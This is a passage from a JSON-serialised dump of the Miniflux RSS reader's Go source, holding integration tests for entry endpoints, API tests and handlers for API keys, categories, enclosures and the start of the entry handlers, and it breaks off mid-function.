miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tentry, err := regularUserClient.FeedEntry(feedID, result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif entry.ID != result.Entries[0].ID {\n\t\tt.Fatalf(`Invalid entryID, got %d`, entry.ID)\n\t}\n\n\tif entry.FeedID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, entry.FeedID)\n\t}\n\n\tif entry.Feed.FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, entry.Feed.FeedURL)\n\t}\n\n\tentry, err = regularUserClient.Entry(result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif entry.ID != result.Entries[0].ID {\n\t\tt.Fatalf(`Invalid entryID, got %d`, entry.ID)\n\t}\n\n\tentry, err = regularUserClient.CategoryEntry(result.Entries[0].Feed.Category.ID, result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif entry.ID != result.Entries[0].ID {\n\t\tt.Fatalf(`Invalid entryID, got %d`, entry.ID)\n\t}\n}\n\nfunc TestUpdateEntryStatusEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tif err := regularUserClient.UpdateEntries([]int64{result.Entries[0].ID}, miniflux.EntryStatusRead); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tentry, err := regularUserClient.Entry(result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif entry.Status != miniflux.EntryStatusRead {\n\t\tt.Fatalf(`Invalid status, got %q`, entry.Status)\n\t}\n}\n\nfunc TestUpdateEntryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tentryUpdateRequest := &miniflux.EntryModificationRequest{\n\t\tTitle:   new(\"New title\"),\n\t\tContent: new(\"New content\"),\n\t}\n\n\tupdatedEntry, err := regularUserClient.UpdateEntry(result.Entries[0].ID, entryUpdateRequest)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedEntry.Title != \"New title\" {\n\t\tt.Errorf(`Invalid title, got %q`, updatedEntry.Title)\n\t}\n\n\tif updatedEntry.Content != \"New content\" {\n\t\tt.Errorf(`Invalid content, got %q`, updatedEntry.Content)\n\t}\n\n\tentry, err := regularUserClient.Entry(result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif entry.Title != \"New title\" {\n\t\tt.Errorf(`Invalid title, got %q`, entry.Title)\n\t}\n\n\tif entry.Content != \"New content\" {\n\t\tt.Errorf(`Invalid content, got %q`, entry.Content)\n\t}\n}\n\nfunc TestToggleStarredEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 1})\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tif err := regularUserClient.ToggleStarred(result.Entries[0].ID); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tentry, err := regularUserClient.Entry(result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !entry.Starred {\n\t\tt.Fatalf(`The entry should be starred`)\n\t}\n}\n\nfunc TestSaveEntryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 1})\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tif err := regularUserClient.SaveEntry(result.Entries[0].ID); !errors.Is(err, miniflux.ErrBadRequest) {\n\t\tt.Fatalf(`Saving an entry should raise a bad request error because no integration is configured`)\n\t}\n}\n\nfunc TestFetchIntegrationsStatusEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\thasIntegrations, err := regularUserClient.IntegrationsStatus()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to fetch integrations status: %v\", err)\n\t}\n\n\tif hasIntegrations {\n\t\tt.Fatalf(\"New user should not have integrations configured\")\n\t}\n}\n\nfunc TestFetchContentEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 1})\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tcontent, err := regularUserClient.FetchEntryOriginalContent(result.Entries[0].ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif content == \"\" {\n\t\tt.Fatalf(`Invalid content, got empty`)\n\t}\n}\n\nfunc TestFlushHistoryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, &miniflux.Filter{Limit: 3})\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tif err := regularUserClient.UpdateEntries([]int64{result.Entries[0].ID, result.Entries[1].ID}, miniflux.EntryStatusRead); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.FlushHistory(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\treadEntries, err := regularUserClient.Entries(&miniflux.Filter{Status: miniflux.EntryStatusRead})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif readEntries.Total != 0 {\n\t\tt.Fatalf(`Invalid total, got %d`, readEntries.Total)\n\t}\n}\n\nfunc TestImportFeedEntryEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(\n\t\ttestConfig.testBaseURL,\n\t\ttestConfig.testAdminUsername,\n\t\ttestConfig.testAdminPassword,\n\t)\n\n\t// Create a feed\n\tfeedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer client.DeleteFeed(feedID)\n\n\tpayload := map[string]any{\n\t\t\"title\":        \"Imported Entry\",\n\t\t\"url\":          \"https://example.org/imported-entry\",\n\t\t\"content\":      \"Hello world\",\n\t\t\"external_id\":  \"integration-test-entry-1\",\n\t\t\"status\":       model.EntryStatusUnread,\n\t\t\"starred\":      false,\n\t\t\"published_at\": 0,\n\t}\n\n\t// First import\n\tfirstID, err := client.ImportFeedEntry(feedID, payload)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif firstID == 0 {\n\t\tt.Fatal(\"expected non-zero entry ID on first import\")\n\t}\n\n\t// Second import (same payload)\n\tsecondID, err := client.ImportFeedEntry(feedID, payload)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif secondID != firstID {\n\t\tt.Fatalf(\"expected same entry ID on re-import, got %d and %d\", firstID, secondID)\n\t}\n}\n"
  },
  {
    "path": "internal/api/api_key_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"errors\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) createAPIKeyHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tvar apiKeyCreationRequest model.APIKeyCreationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&apiKeyCreationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateAPIKeyCreation(h.store, userID, &apiKeyCreationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tapiKey, err := h.store.CreateAPIKey(userID, apiKeyCreationRequest.Description)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, apiKey)\n}\n\nfunc (h *handler) getAPIKeysHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tapiKeys, err := h.store.APIKeys(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.JSON(w, r, apiKeys)\n}\n\nfunc (h *handler) deleteAPIKeyHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tapiKeyID := request.RouteInt64Param(r, \"apiKeyID\")\n\tif apiKeyID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid API key ID\"))\n\t\treturn\n\t}\n\n\tif err := h.store.DeleteAPIKey(userID, apiKeyID); err != nil {\n\t\tif errors.Is(err, storage.ErrAPIKeyNotFound) {\n\t\t\tresponse.JSONNotFound(w, r)\n\t\t\treturn\n\t\t}\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.NoContent(w, r)\n}\n"
  },
  {
    "path": "internal/api/api_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"runtime\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/version\"\n)\n\nfunc TestNewHandlerHandlesOptionsRequests(t *testing.T) {\n\thandler := NewHandler(nil, nil)\n\n\tr := httptest.NewRequest(http.MethodOptions, \"/v1/users\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler.ServeHTTP(w, r)\n\n\tif got := w.Code; got != http.StatusNoContent {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, got, http.StatusNoContent)\n\t}\n\n\tif got := w.Header().Get(\"Access-Control-Allow-Origin\"); got != \"*\" {\n\t\tt.Fatalf(`Unexpected Access-Control-Allow-Origin header, got %q`, got)\n\t}\n\n\tif got := w.Header().Get(\"Access-Control-Allow-Methods\"); got != \"GET, POST, PUT, DELETE, OPTIONS\" {\n\t\tt.Fatalf(`Unexpected Access-Control-Allow-Methods header, got %q`, got)\n\t}\n\n\tif got := w.Header().Get(\"Access-Control-Allow-Headers\"); got != \"X-Auth-Token, Authorization, Content-Type, Accept\" {\n\t\tt.Fatalf(`Unexpected Access-Control-Allow-Headers header, got %q`, got)\n\t}\n\n\tif got := w.Header().Get(\"Access-Control-Max-Age\"); got != \"3600\" {\n\t\tt.Fatalf(`Unexpected Access-Control-Max-Age header, got %q`, got)\n\t}\n}\n\nfunc TestVersionHandler(t *testing.T) {\n\th := &handler{}\n\tr := httptest.NewRequest(http.MethodGet, \"/v1/version\", nil)\n\tw := httptest.NewRecorder()\n\n\th.versionHandler(w, r)\n\n\tif got := w.Code; got != http.StatusOK {\n\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, got, http.StatusOK)\n\t}\n\n\tif got := w.Header().Get(\"Content-Type\"); got != \"application/json\" {\n\t\tt.Fatalf(`Unexpected Content-Type header, got %q`, got)\n\t}\n\n\tvar responseBody versionResponse\n\tif err := json.NewDecoder(w.Body).Decode(&responseBody); err != nil {\n\t\tt.Fatalf(\"Unexpected JSON decoding error: %v\", err)\n\t}\n\n\tif responseBody.Version != version.Version {\n\t\tt.Fatalf(`Unexpected version, got %q instead of %q`, responseBody.Version, version.Version)\n\t}\n\n\tif responseBody.Commit != version.Commit {\n\t\tt.Fatalf(`Unexpected commit, got %q instead of %q`, responseBody.Commit, version.Commit)\n\t}\n\n\tif responseBody.BuildDate != version.BuildDate {\n\t\tt.Fatalf(`Unexpected build date, got %q instead of %q`, responseBody.BuildDate, version.BuildDate)\n\t}\n\n\tif responseBody.GoVersion != runtime.Version() {\n\t\tt.Fatalf(`Unexpected Go version, got %q instead of %q`, responseBody.GoVersion, runtime.Version())\n\t}\n\n\tif responseBody.Compiler != runtime.Compiler {\n\t\tt.Fatalf(`Unexpected compiler, got %q instead of %q`, responseBody.Compiler, runtime.Compiler)\n\t}\n\n\tif responseBody.Arch != runtime.GOARCH {\n\t\tt.Fatalf(`Unexpected architecture, got %q instead of %q`, responseBody.Arch, runtime.GOARCH)\n\t}\n\n\tif responseBody.OS != runtime.GOOS {\n\t\tt.Fatalf(`Unexpected OS, got %q instead of %q`, responseBody.OS, runtime.GOOS)\n\t}\n}\n\nfunc TestNewHandlerSupportsBasePathStripping(t *testing.T) {\n\tscenarios := []struct {\n\t\tname   string\n\t\tprefix string\n\t\tpath   string\n\t}{\n\t\t{name: \"empty base path\", prefix: \"\", path: \"/v1/users\"},\n\t\t{name: \"non empty base path\", prefix: \"/base\", path: \"/base/v1/users\"},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tt.Run(scenario.name, func(t *testing.T) {\n\t\t\thandler := http.StripPrefix(scenario.prefix, NewHandler(nil, nil))\n\n\t\t\tr := httptest.NewRequest(http.MethodOptions, scenario.path, nil)\n\t\t\tw := httptest.NewRecorder()\n\n\t\t\thandler.ServeHTTP(w, r)\n\n\t\t\tif got := w.Code; got != http.StatusNoContent {\n\t\t\t\tt.Fatalf(`Unexpected status code, got %d instead of %d`, got, http.StatusNoContent)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/api/category_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) createCategoryHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tvar categoryCreationRequest model.CategoryCreationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&categoryCreationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateCategoryCreation(h.store, userID, &categoryCreationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tcategory, err := h.store.CreateCategory(userID, &categoryCreationRequest)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, category)\n}\n\nfunc (h *handler) updateCategoryHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tcategory, err := h.store.Category(userID, categoryID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tvar categoryModificationRequest model.CategoryModificationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&categoryModificationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateCategoryModification(h.store, userID, category.ID, &categoryModificationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tcategoryModificationRequest.Patch(category)\n\n\tif err := h.store.UpdateCategory(category); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, category)\n}\n\nfunc (h *handler) markCategoryAsReadHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tcategory, err := h.store.Category(userID, categoryID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err = h.store.MarkCategoryAsRead(userID, categoryID, time.Now()); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) getCategoriesHandler(w http.ResponseWriter, r *http.Request) {\n\tvar categories model.Categories\n\tvar err error\n\tincludeCounts := request.QueryStringParam(r, \"counts\", \"false\")\n\n\tif includeCounts == \"true\" {\n\t\tcategories, err = h.store.CategoriesWithFeedCount(request.UserID(r))\n\t} else {\n\t\tcategories, err = h.store.Categories(request.UserID(r))\n\t}\n\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.JSON(w, r, categories)\n}\n\nfunc (h *handler) removeCategoryHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tif !h.store.CategoryIDExists(userID, categoryID) {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.RemoveCategory(userID, categoryID); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) refreshCategoryHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tbatchBuilder := h.store.NewBatchBuilder()\n\tbatchBuilder.WithErrorLimit(config.Opts.PollingParsingErrorLimit())\n\tbatchBuilder.WithoutDisabledFeeds()\n\tbatchBuilder.WithUserID(userID)\n\tbatchBuilder.WithCategoryID(categoryID)\n\tbatchBuilder.WithNextCheckExpired()\n\tbatchBuilder.WithLimitPerHost(config.Opts.PollingLimitPerHost())\n\n\tjobs, err := batchBuilder.FetchJobs()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Info(\n\t\t\"Triggered a manual refresh of all feeds for a given category from the API\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"category_id\", categoryID),\n\t\tslog.Int(\"nb_jobs\", len(jobs)),\n\t)\n\n\tgo h.pool.Push(jobs)\n\n\tresponse.NoContent(w, r)\n}\n"
  },
  {
    "path": "internal/api/enclosure_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"errors\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) getEnclosureByIDHandler(w http.ResponseWriter, r *http.Request) {\n\tenclosureID := request.RouteInt64Param(r, \"enclosureID\")\n\tif enclosureID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid enclosure ID\"))\n\t\treturn\n\t}\n\n\tenclosure, err := h.store.GetEnclosure(enclosureID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif enclosure == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuserID := request.UserID(r)\n\tif enclosure.UserID != userID {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tenclosure.ProxifyEnclosureURL(config.Opts.MediaProxyMode(), config.Opts.MediaProxyResourceTypes())\n\n\tresponse.JSON(w, r, enclosure)\n}\n\nfunc (h *handler) updateEnclosureByIDHandler(w http.ResponseWriter, r *http.Request) {\n\tenclosureID := request.RouteInt64Param(r, \"enclosureID\")\n\tif enclosureID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid enclosure ID\"))\n\t\treturn\n\t}\n\n\tvar enclosureUpdateRequest model.EnclosureUpdateRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&enclosureUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif err := validator.ValidateEnclosureUpdateRequest(&enclosureUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tenclosure, err := h.store.GetEnclosure(enclosureID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif enclosure == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuserID := request.UserID(r)\n\tif enclosure.UserID != userID {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tenclosure.MediaProgression = enclosureUpdateRequest.MediaProgression\n\tif err := h.store.UpdateEnclosure(enclosure); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n"
  },
  {
    "path": "internal/api/entry_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"errors\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/integration\"\n\t\"miniflux.app/v2/internal/mediaproxy\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/processor\"\n\t\"miniflux.app/v2/internal/reader/readingtime\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) getEntryFromBuilder(w http.ResponseWriter, r *http.Request, b *storage.EntryQueryBuilder) {\n\tentry, err := b.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tentry.Content = mediaproxy.RewriteDocumentWithAbsoluteProxyURL(entry.Content)\n\tentry.Enclosures.ProxifyEnclosureURL(config.Opts.MediaProxyMode(), config.Opts.MediaProxyResourceTypes())\n\n\tresponse.JSON(w, r, entry)\n}\n\nfunc (h *handler) getFeedEntryHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 